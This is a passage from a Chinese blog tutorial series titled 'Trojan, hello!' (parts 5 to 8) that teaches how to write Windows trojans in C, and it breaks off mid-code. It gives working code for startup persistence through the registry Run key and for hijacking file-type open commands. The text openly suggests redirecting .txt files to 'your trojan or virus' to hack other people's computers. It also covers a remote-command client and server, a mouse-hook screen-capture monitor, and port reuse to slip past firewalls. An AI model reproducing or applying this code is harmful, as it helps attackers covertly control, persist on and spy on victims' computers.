木马,你好!(八)注册表操作

注册表相当于系统的基础配置,详细的基础操作请戳《Windows API 教程(十) 注册表操作》。关于木马与注册表也是有不少交集的。常见的情况有:

1.修改注册表使得木马开机自启动
2.修改特定类型文件的打开方式(换上自己的)

开机自启动

测试代码

编译一个简单的测试用的程序,代码如下:

#include <windows.h>

int main ()
{
    MessageBox(NULL, TEXT("hello auto start"), TEXT("Title"), MB_OK);
}

运行(F5)或生成(F7)之后在 debug 目录找到 exe 文件,然后拷贝到 E: 目录下。

注册表代码

#include <windows.h>
#include <stdio.h>

void showErrorText(DWORD error_num);

int main()
{
    HKEY hKey;
    DWORD result;
    char path[] = "E:\test.exe"; // 要开机启动的程序

    //打开注册表
    result = RegOpenKeyEx(
        HKEY_LOCAL_MACHINE, // 本机注册表(要打开的注册表)
        "Software\Microsoft\Windows\CurrentVersion\Run", // 要打开的注册表项名称
        0,              // 保留参数必须填 0
        KEY_SET_VALUE,  // 打开权限,写入
        &hKey           // 打开之后的句柄
    );

    if (result == ERROR_SUCCESS)
    {
        printf("注册表打开成功!n");
    }
    else
    {
        printf("注册表打开失败!n");
        showErrorText(result);
        system("pause");
        return 0;
    }

    // 在注册表中设置(没有则会新增一个值)
    result = RegSetValueEx(
                 hKey,
                 "Registry Example", // 键名
                 0,                  // 保留参数必须填 0
                 REG_SZ,             // 键值类型为字符串
                 (const unsigned char *)path, // 字符串首地址
                 sizeof(path)        // 字符串长度
             );

    if (result == ERROR_SUCCESS)
    {
        printf("注册表设置成功!n");
    }
    else
    {
        printf("注册表设置失败!n");
        showErrorText(result);
    }

    //关闭注册表:
    RegCloseKey(hKey);
    // 暂停
    system("pause");
    return 0;
}

/*
 * 根据错误码输出错误信息
 */
void showErrorText(DWORD error_num)
{
    char *msg = NULL;
    FormatMessageA(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        error_num,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // 使用默认语言
        (LPSTR)&msg,
        0,
        NULL
    );
    
    printf("Error code %d: ", error_num);
    if (msg == NULL)
        printf("%sn", "Unknown error");
    else
        printf("%sn", msg);
}

因为代码只涉及了关键部分,没有获取权限,所以如果当前电脑的账户不是管理员账户,直接运行的话会报错无法打开注册表。这里代码测试通的话,需要找到 Debug 目录下的 exe,然后右键 “使用管理员权限运行”,之后才会成功。

开机自启动

成功之后可以在 win + R -> msconfig 中找到,可以看到名称就是我们在代码里面写的 “Registry Example”

msconfig

PS:除了使用注册表实现开机自启动外,还可以注册程序为系统服务来实现。

修改文件打开方式

注册新后缀的基本思路

常见情况是:原本用户只是打开一张图片(.jpg等)、视频(.avi等)或者文本(.txt等)结果,实际却调用了别人事先准备好的木马或者病毒。

这里奉上最简单的注册方法,来简述一下注册一个新的后缀名(.win)打开方式的具体情况:

  1. 在桌面(或者你要保存的文件夹中)右键->新建->文本文档,两个
  2. 修改改文本文档后缀名为 .reg,博主为了方便改名为 test.reg
  3. 修改该文件的内容如下:
    REGEDIT4
    
    [HKEY_CLASSES_ROOT.win]
        @="WINFile"
    [HKEY_CLASSES_ROOTWINFile]
        @="File Type Example"
    
    [HKEY_CLASSES_ROOTWINFileDefaultIcon]
        @="%SystemRoot%system32imageres.dll,-102"
    [HKEY_CLASSES_ROOTWINFileshellopencommand]
        @="NOTEPAD.EXE %1"
    
  4. 双击运行 test.reg,之后 后缀名为 .win 的文件就可以在双击的时候,默认使用 notepad 打开了。

简述一下这个过程的原理:

  1. REGEDIT4 之后空行类似声明,是 .reg 文件的格式,这个是死的。
  2. [HKEY_CLASSES_ROOT.win] 即,在计算机中注册 .win 后缀。 @=”WINFile” 即设置该后缀的 ProgID(处理方式id) 为 WINFile。
  3. [HKEY_CLASSES_ROOTWINFile] 即,注册名为 “WINFile” 的处理方式,其值 @=”File Type Example” 是该方式的描述。
  4. [HKEY_CLASSES_ROOTWINFileDefaultIcon] 设置 WINFile 处理方式的文件图标。@=”%SystemRoot%system32imageres.dll,-102″ 即,imageres.dll 中所包含的第 102 号图标。
  5. [HKEY_CLASSES_ROOTWINFileshellopencommand] 设置 WINFile 处理方式的运行命令, @=”NOTEPAD.EXE %1″ 是指调用 nodepad.exe 来运行 %1 是当前双击的文件路径参数。

这里示例中的调用的方式是 @=”NOTEPAD.EXE %1″, 你也可以改成你自己的程序 @=”详细路径test.exe %1″

PS:
1.顺便一提在具体的代码中,获取参数的代码参见如下:

#include <stdio.h>

int main(int argc, char const *argv[])
{
    int i;
    for (i = 0; i < argc; ++i) // argc 保存参数个数
    {
        printf("%sn", argv[i]); // argv 中保存了参数内容
    }
    return 0;
}

2. 上方的 %1 是批处理中常见的参数写法,传进来的第二参数则为 %2,第三个参数为 %3 以此类推

如何修改指定后缀名的打开方式

如果你理解上述流程,那么我们就可以来研究怎么替换现有某些后缀名的打开方式。就以 .txt 为例:

  1. 先 win+R -> regedit 打开注册表编辑器
    winr
  2. 找到 HKEY_CLASSES_ROOT (专门用于存放文件打开方式的)
    regedit
  3. 找到 .txt 的键 (即 HKEY_CLASSES_ROOT.txt)
    txt
  4. 上面的 txtfile 就是 .txt 的处理方式,于是我们跟着去找 HKEY_CLASSES_ROOTtxtfile
    txtfile
  5. 从上图就可以看到 .txt 的程序最后的打开调用的代码是 “%SystemRoot%system32NOTEPAD.EXE %1”,这里你要黑掉别人的电脑,让他双击 .txt 文件的时候,运行你的木马或病毒就只要修改这里就可以了。也即修改 “HKEY_CLASSES_ROOTtxtfileshellopencommand” 的默认值。你可以改成 “你的木马或病毒.exe %1”

以上就是完整的思路。

C 代码实现修改文件打开方式

下面奉上修改 .win 后缀打开方式的 C 代码:

#include <windows.h>
#include <stdio.h>

void showErrorText(DWORD error_num);

int main()
{
    HKEY hKey;
    DWORD result;
    char path[] = "E:\test.exe"; // 要替换的程序, 没写 %1 即调用时不会把双击的文件路径传给test.exe

    //打开注册表 HKEY_CLASSES_ROOTWINFileshellopencommand
    result = RegOpenKeyEx(
        HKEY_CLASSES_ROOT, "WINFile\shell\open\command", // 要打开的注册表项名称
        0,              // 保留参数必须填 0
        KEY_SET_VALUE,  // 打开权限,写入
        &hKey           // 打开之后的句柄
    );

    if (result == ERROR_SUCCESS)
    {
        printf("open success!n");
    }
    else
    {
        printf("open failed!n");
        showErrorText(result);
        system("pause");
        return 0;
    }

    // 设置注册表的值
    result = RegSetValueEx(
                 hKey,
                 "",                // 设置默认值
                 0,                 // 保留参数必须填 0
                 REG_SZ,            // 键值类型为字符串
                 (const unsigned char *)path, // 字符串首地址
                 sizeof(path)       // 字符串长度
             );

    if (result == ERROR_SUCCESS)
    {
        printf("set success!n");
    }
    else
    {
        printf("set failed!n");
        showErrorText(result);
    }

    //关闭注册表:
    RegCloseKey(hKey);
    // 暂停
    system("pause");
    return 0;
}

/*
 * 根据错误码输出错误信息
 */
void showErrorText(DWORD error_num)
{
    char *msg = NULL;
    FormatMessageA(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        error_num,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // 使用默认语言
        (LPSTR)&msg,
        0,
        NULL
    );
    
    printf("Error code %d: ", error_num);
    if (msg == NULL)
        printf("%sn", "Unknown error");
    else
        printf("%sn", msg);
}

以上程序也是一样,运行的时候如果不是默认管理员账户的话,需要手动到 Debug 目录下找到 exe 文件然后右键以管理员权限运行。运行成功以后, 原本用 notepad 打开的 .win 程序就变成调用我们准备好的程序了。

文章索引

上一讲:木马,你好!(七)远程弹出记事本写字

木马,你好!(七)远程弹出记事本写字

RemoteNotepad

要实现这个功能其实挺简单的:

  1. 客户顿通信服务端(第二讲已经实现)
  2. 远程端 CreateProcess,创建一个 notepad
  3. 拿到这个 notepad 的句柄,在调用 SendMessage

创建记事本

进程编程相关知识请参阅:Windows API教程(四) 进程编程

BOOL CreateNotepad()
{
	BOOL flag;
	STARTUPINFO start_info;

	ZeroMemory( &process_info, sizeof(process_info) );
	ZeroMemory( &start_info, sizeof(start_info) );

	start_info.cb = sizeof(start_info);

	flag = CreateProcess( 
		NULL,           // 不传程序路径, 使用命令行
		"notepad.exe",  // 命令行命令
		NULL,           // 不继承进程句柄(默认)
		NULL,           // 不继承线程句柄(默认)
		FALSE,          // 不继承句柄(默认)
		0,              // 没有创建标志(默认)
		NULL,           // 使用默认环境变量
		NULL,           // 使用父进程的目录
		&start_info,    // STARTUPINFO 结构
		&process_info );// PROCESS_INFORMATION 保存相关信息

	if ( !flag )
	{
		printf( "创建失败 Error: (%d).n", GetLastError() );
		return 0;
	}
	return 1;
}

将字符串写到记事本的 RichEdit 控件中

更多 RichEdit 控件的 Message 请参阅:Windows SDK 教程(四) 记事本与 SendMessage

void WriteNotepadText(char *str)
{
	char text[250];
	HWND hNotepad = FindWindow(TEXT("Notepad"), NULL);
	HWND hEdit = FindWindowEx(hNotepad, NULL, TEXT("Edit"), NULL);
	wsprintf(text, "%srn", str);
	SendMessage(hEdit, EM_REPLACESEL, NULL, (LPARAM)text);
}

完整客户端代码

#include <Winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

#define MSG_LEN 1024
PROCESS_INFORMATION process_info;

BOOL strstart(char *text, char *begin);
BOOL CreateNotepad();
void WriteNotepadText(char *str);
void CloseNotepad();

int run(char *recvCmd, char *message)
{
	if (strcmp(recvCmd, "test") == 0)
	{
		strcpy(message, "服务端你好,有什么事吗~");
	}
	else if (strcmp(recvCmd, "open") == 0)
	{
		if(CreateNotepad())
		{
			strcpy(message, "记事本创建成功");
		} else {
			strcpy(message, "记事本创建失败!");
		}
	}
	else if (strcmp(recvCmd, "close") == 0)
	{
		CloseNotepad();
		strcpy(message, "Closed.");
	}
	else if (strstart(recvCmd, "write"))
	{
		WriteNotepadText(recvCmd + sizeof("write"));
		strcpy(message, "send");
	}
	else if (strcmp(recvCmd, "exit") == 0)
	{
		return 1;
	}
	
	return 0;
}

void main()
{
	int err = 0;
	char message[MSG_LEN] = {0};
	char recvCmd[100] = {0};

	SOCKET sockClient; // 客户端 Scoket
	SOCKADDR_IN addrServer; // 服务端地址

	WSADATA wsaData;
	WORD wVersionRequested;

	wVersionRequested = MAKEWORD( 2, 2 );

	err = WSAStartup( wVersionRequested, &wsaData );

	if ( err != 0 )
	{
		return;
	}

	if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
	{
		// 启动错误,程序结束
		WSACleanup( );
		return;
	}

	// 新建客户端 scoket
	sockClient = socket(AF_INET, SOCK_STREAM, 0);

	// 定义要连接的服务端地址
	addrServer.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");  // 目标IP (127.0.0.1是本机地址)
	addrServer.sin_family = AF_INET;                           // 协议类型是INET
	addrServer.sin_port = htons(6000);                         // 连接端口1234

	// 让 sockClient 连接到 服务端
	connect(sockClient, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));

	while(1)
	{
		// 清空字符串
		ZeroMemory(recvCmd, sizeof(recvCmd));
		ZeroMemory(message, sizeof(message));
		// 从服务端获取数据
		recv(sockClient, recvCmd, MSG_LEN, 0);
		// 打印数据
		printf("-- 收到命令: [%s]n", recvCmd);

		run(recvCmd, message);

		if (strlen(recvCmd) > 0)
		{
			// 发送数据到服务端
			send(sockClient, message, strlen(message) + 1, 0);
		}
	}

	// 关闭socket
	closesocket(sockClient);
	WSACleanup();
}

/*
 * 创建一个记事本
 */
BOOL CreateNotepad()
{
	BOOL flag;
	STARTUPINFO start_info;

	ZeroMemory( &process_info, sizeof(process_info) );
	ZeroMemory( &start_info, sizeof(start_info) );

	start_info.cb = sizeof(start_info);

	flag = CreateProcess( 
		NULL,           // 不传程序路径, 使用命令行
		"notepad.exe",  // 命令行命令
		NULL,           // 不继承进程句柄(默认)
		NULL,           // 不继承线程句柄(默认)
		FALSE,          // 不继承句柄(默认)
		0,              // 没有创建标志(默认)
		NULL,           // 使用默认环境变量
		NULL,           // 使用父进程的目录
		&start_info,    // STARTUPINFO 结构
		&process_info );// PROCESS_INFORMATION 保存相关信息

	if ( !flag )
	{
		printf( "创建失败 Error: (%d).n", GetLastError() );
		return 0;
	}
	return 1;
}

/*
 * 将字符串写到记事本的 RichEdit 控件中
 */
void WriteNotepadText(char *str)
{
	char text[250];
	HWND hNotepad = FindWindow(TEXT("Notepad"), NULL);
	HWND hEdit = FindWindowEx(hNotepad, NULL, TEXT("Edit"), NULL);
	wsprintf(text, "%srn", str);
	SendMessage(hEdit, EM_REPLACESEL, NULL, (LPARAM)text);
}

/*
 * 关闭记事本
 */
void CloseNotepad() 
{
	// 关闭进程句柄和线程句柄
	DWORD dwDesiredAccess = PROCESS_TERMINATE;
	BOOL  bInheritHandle  = FALSE;
	HANDLE hProcess = OpenProcess(dwDesiredAccess, bInheritHandle, process_info.dwProcessId);
	if (hProcess == NULL)
		return;
	TerminateProcess(hProcess, 0);
	CloseHandle(hProcess);
}

/*
 * 判断 text 字符串是否以 begin 字符串开头
 */
BOOL strstart(char *text, char *begin)
{
	while(*begin)
		if (*begin++ != *text++)
			return FALSE;
	return TRUE;
}

服务端代码

代码依旧是老样子:

#include <stdio.h>
#include <string.h>
#include <Winsock2.h>
#pragma comment(lib, "ws2_32.lib")

void main()
{
	int err; // 错误信息
	int len = sizeof(SOCKADDR);

	char  cmdStr[100] = {0};
	char sendBuf[100] = {0}; // 发送至客户端的字符串
	char recvBuf[100] = {0}; // 接受客户端返回的字符串
	char * ip;

	SOCKET sockServer;     // 服务端 Socket
	SOCKADDR_IN addrServer;// 服务端地址
	SOCKET sockClient;     // 客户端 Scoket
	SOCKADDR_IN addrClient;// 客户端地址

	WSADATA wsaData;       // winsock 结构体
	WORD wVersionRequested;// winsock 的版本

	// 配置 Windows Socket版本
	wVersionRequested = MAKEWORD( 2, 2 );

	// 初始化 Windows Socket
	err = WSAStartup( wVersionRequested, &wsaData );

	if ( err != 0 )
	{
		// 启动错误,程序结束
		return;
	}

	if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
	{
		// 启动错误,程序结束
		WSACleanup(); // 终止Winsock 2 DLL (Ws2_32.dll) 的使用
		return;
	}

	// 定义服务器端socket
	sockServer = socket(AF_INET, SOCK_STREAM, 0);
	//  设置服务端 socket
	addrServer.sin_addr.S_un.S_addr = htonl(INADDR_ANY); // 本机IP
	addrServer.sin_family = AF_INET;                   // 协议类型是INET
	addrServer.sin_port = htons(6000);                 // 绑定端口6000
	// 将服务器端socket绑定在本地端口
	bind(sockServer, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));
	// Listen 监听端口
	listen(sockServer, 5); // 5 为等待连接数目

	printf("服务器已启动:n监听中...n");

	// 等待客户端连接
	sockClient = accept(sockServer, (SOCKADDR *)&addrClient, &len);
	// 获取ip地址
	ip = inet_ntoa(addrClient.sin_addr);
	// 输出连接提示
	printf("-- IP %s 连接到服务端n", ip);

	while (1)
	{
		if (strcmp(cmdStr, "exit") == 0)
		{
			break;
		}

		printf("-- %s: %s n>>", ip, recvBuf);
		gets(cmdStr);

		send(sockClient, cmdStr, strlen(cmdStr) + 1, 0);
		recv(sockClient, recvBuf, 100, 0);
	}

	closesocket(sockClient);
	WSACleanup();
}

文章索引

上一讲:木马,你好!(六)Hook 监听木马(截图监控)
下一讲:木马,你好!(八)注册表操作

木马,你好!(六)Hook 监听木马(截图监控)

Hook 简介

因为博主的原来已经讲过 Hook 相关的基础知识,所以这里就不重复了。如果没有接触过的请参见 《Windows API 教程(七) hook 监听》

不管是写木马或者是做一些神奇的操作, Hook 都是一项必不可少的技术。

windows 系统中的【hook 机制】,就类似于一个【消息过滤网】,如果我们向操作系统申请并成功对某个窗口安装了一个【hook】也就相当于我们人为对这个窗口添加了一个【消息过滤网】。此时当 windows 操作系统要对这个窗口发送任何消息的时候(例如按键、鼠标点击等消息)操作系统会先调用我们在【消息过滤网】中设置的【回调函数】去接受、处理、过滤等等,当然如果你在【回调函数】中拿到了数据却没有继续传递给窗口的话,就相当于拦截了这些消息。

也就是说如果你想希望某个人的电脑不论是鼠标还是键盘都没有用,那么只需要安装一个鼠标的【消息过滤网】以及一个键盘的【消息过滤网】接着在这两个消息过滤网中将消息截断即可。

在编写木马的时候,我们就可以通过这个【消息过滤网】截获到我们所想要的数据,并对这些数据进行一定的处理或者加工。一般的 Hook 都需要以 DLL 的形式加载,但是出于方便实验考虑,所以本讲所要提到的 Hook (WH_MOUSE_LL 以及 WH_KEYBOARD_LL)是不需要以 DLL 的形式安装的。

Hook 基本类型

#t .head {text-align: center; width: 210px; } #t .content {padding: 10px; text-indent: 20px; } #t .content li { text-indent: 0px; }

WH_CALLWNDPROCWH_CALLWNDPROCRET Hooks WH_CALLWNDPROCWH_CALLWNDPROCRET Hooks使你可以监视发送到窗口过程的消息。系统在消息发送到接收窗口过程之前调用 WH_CALLWNDPROCHook子过程,并且在窗口过程处理完消息之后调用 WH_CALLWNDPROCRET Hook子过程。
WH_CBT Hook 在以下事件之前,系统都会调用 WH_CBT Hook子过程,这些事件包括:

  1. 激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件
  2. 完成系统指令
  3. 来自系统消息队列中的移动鼠标,键盘事件
  4. 设置输入焦点事件
  5. 同步系统消息队列事件

Hook子过程的返回值确定系统是否允许或者防止这些操作中的一个。

WH_DEBUG Hook 在系统调用系统中与其它Hook关联的Hook子过程之前,系统会调用 WH_DEBUG Hook子过程。你可以使用这个Hook来决定是否允许系统调用与其它 Hook 关联的Hook子过程
WH_FOREGROUNDIDLE Hook 当应用程序的前台线程大概要变成空闲状态时,系统就会调用 WH_FOREGROUNDIDLE Hook子过程。
WH_GETMESSAGE Hook 应用程序使用 WH_GETMESSAGE Hook来监视从 GetMessage() 或者 PeekMessage() 函数返回的消息。你可以使用 WH_GETMESSAGE Hook 去监视鼠标和键盘输入,以及其它发送到消息队列中的消息。
WH_JOURNALPLAYBACK Hook WH_JOURNALPLAYBACK Hook 使应用程序可以插入消息到系统消息队列。可以使用这个 Hook 回放通过使用 WH_JOURNALRECORD Hook 记录下来的连续的鼠标和键盘事件。只要 WH_JOURNALPLAYBACK Hook 已经安装,正常的鼠标和键盘事件就是无效的。 WH_JOURNALPLAYBACK Hook是全局Hook,它不能象线程特定Hook一样使用。WH_JOURNALPLAYBACK Hook返回超时值,这个值告诉系统在处理来自回放Hook当前消息之前需要等待多长时间(毫秒)。这就使Hook可以控制实时事件的回放。WH_JOURNALPLAYBACK 是system-wide local hooks,它们不会被注射到任何行程地址空间。
WH_JOURNALRECORD Hook WH_JOURNALRECORD Hook 用来监视和记录输入事件。典型的,可以使用这个 Hook 记录连续的鼠标和键盘事件,然后通过使用WH_JOURNALPLAYBACK Hook 来回放。 WH_JOURNALRECORD Hook 是全局 Hook ,它不能象线程特定 Hook 一样使用。 WH_JOURNALRECORD 是 system-wide local hooks,它们不会被注射到任何行程地址空间。
WH_KEYBOARD Hook 在应用程序中,WH_KEYBOARD Hook用来监视 WM_KEYDOWN 以及 WM_KEYUP 消息,这些消息通过 GetMessage() 或者 PeekMessage() 返回。可以使用这个 Hook 来监视输入到消息队列中的键盘消息。
WH_KEYBOARD_LL Hook WH_KEYBOARD_LL Hook监视输入到线程消息队列中的键盘消息。
WH_MOUSE Hook WH_MOUSE Hook 监视从 GetMessage() 或者 PeekMessage() 返回的鼠标消息。使用这个Hook监视输入到消息队列中的鼠标消息。
WH_MOUSE_LL Hook WH_MOUSE_LL Hook监视输入到线程消息队列中的鼠标消息。
WH_MSGFILTERWH_SYSMSGFILTER Hooks WH_MSGFILTERWH_SYSMSGFILTER Hooks使我们可以监视菜单,滚动条,消息框,对话框消息并且发现用户使用ALT+TAB or ALT+ESC 组合键切换窗口。 WH_MSGFILTER Hook只能监视传递到菜单,滚动条,消息框的消息,以及传递到通过安装了Hook子过程的应用程序建立的对话框的消息。 WH_SYSMSGFILTER Hook监视所有应用程序消息。 WH_MSGFILTERWH_SYSMSGFILTER Hooks使我们可以在模式循环期间过滤消息,这等价于在主消息循环中过滤消息。通过调用CallMsgFilter function可以直接的调用 WH_MSGFILTER Hook。通过使用这个函数,应用程序能够在模式循环期间使用相同的代码去过滤消息,如同在主消息循环里一样。
WH_SHELL Hook 外壳应用程序可以使用 WH_SHELL Hook 去接收重要的通知。当外壳应用程序是激活的并且当顶层窗口建立或者销毁时,系统调用 WH_SHELL Hook 子过程。 WH_SHELL 共有5钟情况:

  1. 只要有个top-level、unowned 窗口被产生、起作用、或是被摧毁
  2. 当Taskbar需要重画某个按钮
  3. 当系统需要显示关于Taskbar的一个程序的最小化形式
  4. 当目前的键盘布局状态改变
  5. 当使用者按Ctrl+Esc去执行Task Manager(或相同级别的程序)

按照惯例,外壳应用程序都不接收 WH_SHELL 消息。所以,在应用程序能够接收 WH_SHELL 消息之前,应用程序必须调用 SystemParametersInfo() 注册它自己。

通过 Hook 监视目标的屏幕

博主这里讲的监控跟平常的远程查看桌面不一样,也算是比较容易实现的版本。即,当用户鼠标发生点击的时候就把当前的页面截图留下。通过鼠标在多种情况下的屏幕截图来达到监视目标计算机的目的。

其主要的思路很简单,以下是示意代码:

/**
 * Hook 钩子处理函数
 */
LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam) 
{   
    // 变量定义 ...  

    if (nCode >= 0)
    {
        /* ... */

		// 左键按下时将屏幕截图
		if(wParam == WM_LBUTTONDOWN)
		{
			// 通过当前时间拼凑截图文件名
			getCurrentDateTime( /*...*/ );
			// 屏幕截图并保存到指定地址
			CaptureImage( /*... */);
		}
 
        /* ... */
    }
     
    // 将消息继续传递给窗口
    return CallNextHookEx(myhook, nCode, wParam, lParam);

    // 如果不调用 CallNextHookEx 的话消息就被你的 Hook 截断了
}

在博主的这一讲这里仅当用户的鼠标左键点击的时候截取用户的截图。各位也可以适当的调整。关于获取时间可以参见博主的 《c 时间戳》,关于截图程序可以参见博主的 《C语言 屏幕截图》(GDI) 以及 《C++ 屏幕截图》(GDI+)

完整代码

#include <windows.h>

void echo(CHAR *str);
int CaptureImage(HWND hWnd, CHAR *dirPath, CHAR *filename);

int main()
{
    echo(TEXT("Ready"));
    CaptureImage(GetDesktopWindow(), "E:\", "screen"); // 保存为 E:screen.bmp
    echo(TEXT("end"));
    return 0;
}

/**
 * 调试输出
 */
void echo(CHAR *str)
{
    MessageBox(NULL, str, NULL, MB_OK);
}

/**
 * GDI 截屏函数
 *
 * 参数 hwnd   要截屏的窗口句柄
 * 参数 dirPath    截图存放目录
 * 参数 filename 截图名称
 */
int CaptureImage(HWND hwnd, CHAR *dirPath, CHAR *filename)
{
    HANDLE hDIB;
    HANDLE hFile;
    DWORD dwBmpSize;
    DWORD dwSizeofDIB;
    DWORD dwBytesWritten;
    CHAR FilePath[MAX_PATH];
    HBITMAP hbmScreen = NULL;
    BITMAP bmpScreen;
    BITMAPFILEHEADER bmfHeader;
    BITMAPINFOHEADER bi;
    CHAR *lpbitmap;
    INT width = GetSystemMetrics(SM_CXSCREEN);  // 屏幕宽
    INT height = GetSystemMetrics(SM_CYSCREEN);  // 屏幕高
    HDC hdcScreen = GetDC(NULL); // 全屏幕DC
    HDC hdcMemDC = CreateCompatibleDC(hdcScreen); // 创建兼容内存DC

    if (!hdcMemDC)
    {
        echo(TEXT("CreateCompatibleDC has failed"));
        goto done;
    }

    // 通过窗口DC 创建一个兼容位图
    hbmScreen = CreateCompatibleBitmap(hdcScreen, width, height);

    if (!hbmScreen)
    {
        echo(TEXT("CreateCompatibleBitmap Failed"));
        goto done;
    }

    // 将位图块传送到我们兼容的内存DC中
    SelectObject(hdcMemDC, hbmScreen);
    if (!BitBlt(
                hdcMemDC,    // 目的DC
                0, 0,        // 目的DC的 x,y 坐标
                width, height, // 目的 DC 的宽高
                hdcScreen,   // 来源DC
                0, 0,        // 来源DC的 x,y 坐标
                SRCCOPY))    // 粘贴方式
    {
        echo(TEXT("BitBlt has failed"));
        goto done;
    }

    // 获取位图信息并存放在 bmpScreen 中
    GetObject(hbmScreen, sizeof(BITMAP), &bmpScreen);

    bi.biSize = sizeof(BITMAPINFOHEADER);
    bi.biWidth = bmpScreen.bmWidth;
    bi.biHeight = bmpScreen.bmHeight;
    bi.biPlanes = 1;
    bi.biBitCount = 32;
    bi.biCompression = BI_RGB;
    bi.biSizeImage = 0;
    bi.biXPelsPerMeter = 0;
    bi.biYPelsPerMeter = 0;
    bi.biClrUsed = 0;
    bi.biClrImportant = 0;

    dwBmpSize = ((bmpScreen.bmWidth * bi.biBitCount + 31) / 32) * 4 * bmpScreen.bmHeight;

    // 在 32-bit Windows 系统上, GlobalAlloc 和 LocalAlloc 是由 HeapAlloc 封装来的
    // handle 指向进程默认的堆. 所以开销比 HeapAlloc 要大
    hDIB = GlobalAlloc(GHND, dwBmpSize);
    lpbitmap = (char *)GlobalLock(hDIB);

    // 获取兼容位图的位并且拷贝结果到一个 lpbitmap 中.
    GetDIBits(
        hdcScreen,  // 设备环境句柄
        hbmScreen,  // 位图句柄
        0,          // 指定检索的第一个扫描线
        (UINT)bmpScreen.bmHeight, // 指定检索的扫描线数
        lpbitmap,   // 指向用来检索位图数据的缓冲区的指针
        (BITMAPINFO *)&bi, // 该结构体保存位图的数据格式
        DIB_RGB_COLORS // 颜色表由红、绿、蓝(RGB)三个直接值构成
    );


    wsprintf(FilePath, "%s\%s.bmp", dirPath, filename);

    // 创建一个文件来保存文件截图
    hFile = CreateFile(
                FilePath,
                GENERIC_WRITE,
                0,
                NULL,
                CREATE_ALWAYS,
                FILE_ATTRIBUTE_NORMAL,
                NULL
            );

    // 将 图片头(headers)的大小, 加上位图的大小来获得整个文件的大小
    dwSizeofDIB = dwBmpSize + sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);

    // 设置 Offset 偏移至位图的位(bitmap bits)实际开始的地方
    bmfHeader.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER);

    // 文件大小
    bmfHeader.bfSize = dwSizeofDIB;

    // 位图的 bfType 必须是字符串 "BM"
    bmfHeader.bfType = 0x4D42; //BM

    dwBytesWritten = 0;
    WriteFile(hFile, (LPSTR)&bmfHeader, sizeof(BITMAPFILEHEADER), &dwBytesWritten, NULL);
    WriteFile(hFile, (LPSTR)&bi, sizeof(BITMAPINFOHEADER), &dwBytesWritten, NULL);
    WriteFile(hFile, (LPSTR)lpbitmap, dwBmpSize, &dwBytesWritten, NULL);

    // 解锁堆内存并释放
    GlobalUnlock(hDIB);
    GlobalFree(hDIB);

    // 关闭文件句柄
    CloseHandle(hFile);

    // 清理资源
done:
    DeleteObject(hbmScreen);
    DeleteObject(hdcMemDC);
    ReleaseDC(NULL, hdcScreen);

    return 0;
}

小结

如各位所见,实际上使用 Hook 的方式并不复杂,复杂是你要在 Hook 触发的时候做的事情,比如该程序中的截图功能是完整的无损截图,这样即耗时生成的图片又大,优化这个过程才是这个程序的难点。键盘监听也是类似的,我们只需要在键盘的 Hook 触发的时候去记录用户的输入即可,而这个功能的难点依旧不是设置 Hook 而是如何存储用户的按键,以及回头你怎么得到这个按键。而 Hook 只是给我们提供一个在某个特定的时机触发我们代码的机会,所以会用 Hook 并不代表什么,能把基础做好才是本事。

很多人在学习的时候很迷茫,不知道接下来要学什么,却总不知道回头看看自己到底会什么。总之,希望各位在学习的过程能够不断使用自己已经写过的东西去实践、应用,不要普通人像那花了 12 年的人生去记忆一些注定要忘记的东西。当你的功能代码写到了某个有感觉的程度之后,你所需要的,只是一个让你能调用这个代码机会。也许这个机会是一个 Hook,一个 APP 的灵感亦或者是一个发现你老板。

文章索引

上一讲:木马,你好!(五)端口重用
下一讲:木马,你好!(七)远程弹出记事本写字

木马,你好!(五)端口重用

正常的思路是有两种:一种是在目标机器上开一个端口监听,等待攻击者连接。另一种则是让目标计算机主动连攻击者的连接,也就是俗称的反向连接。但是前一种方法很容易被防火墙挡住,而后者则需要攻击者有一个公网 IP,而后者也可能被目标禁止外链的防火墙挡掉。

在这种情况下可以考虑使用端口重用,也就是说去重用目前计算机上已经开启的端口,这些端口往往不受到防火墙的阻挡,从而可以实现木马的远程操控。

查看端口

在 cmd 下通过

netstat -ano 

可以查看到当前 windows 系统上已经开启的端口。

setsockopt 函数

重用端口的函数原型

int setsockopt(
    SOCKET s,
    int level,
    int optname,
    const char *optval,
    int optlen
);

参数一
要改变的目标 Socket
参数二
第二个参数为选项的等级,
参数三
要改成的选项名
参数四、五
为指定值的指针和大小。

设置参数三为 SO_REUSEADDR ,就可以重用已绑定的端口了。

代码

#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

int main()
{
	WSADATA ws;
	int ret, iAddrSize;
	BOOL value = TRUE;
	SOCKET socketConn;
	SOCKET socketListen;
	struct sockaddr_in socketListenAddr;

	// 初始化 WSA
	WSAStartup(MAKEWORD(2, 2), &ws);
	// 注意要用 WSASocket
	socketListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

	// 设置可重用的 socket
	ret = setsockopt(socketListen, SOL_SOCKET, SO_REUSEADDR, (char *) &value, sizeof(value));
	if (printError("setsockopt", ret))
	{
		return;
	}
	
	// 设置监听地址
	socketListenAddr.sin_family = AF_INET;
	socketListenAddr.sin_port = htons(81); // 查找到的本机端口
	socketListenAddr.sin_addr.s_addr = inet_addr("192.168.1.99"); // 本机地址

	// 重复绑定该端口
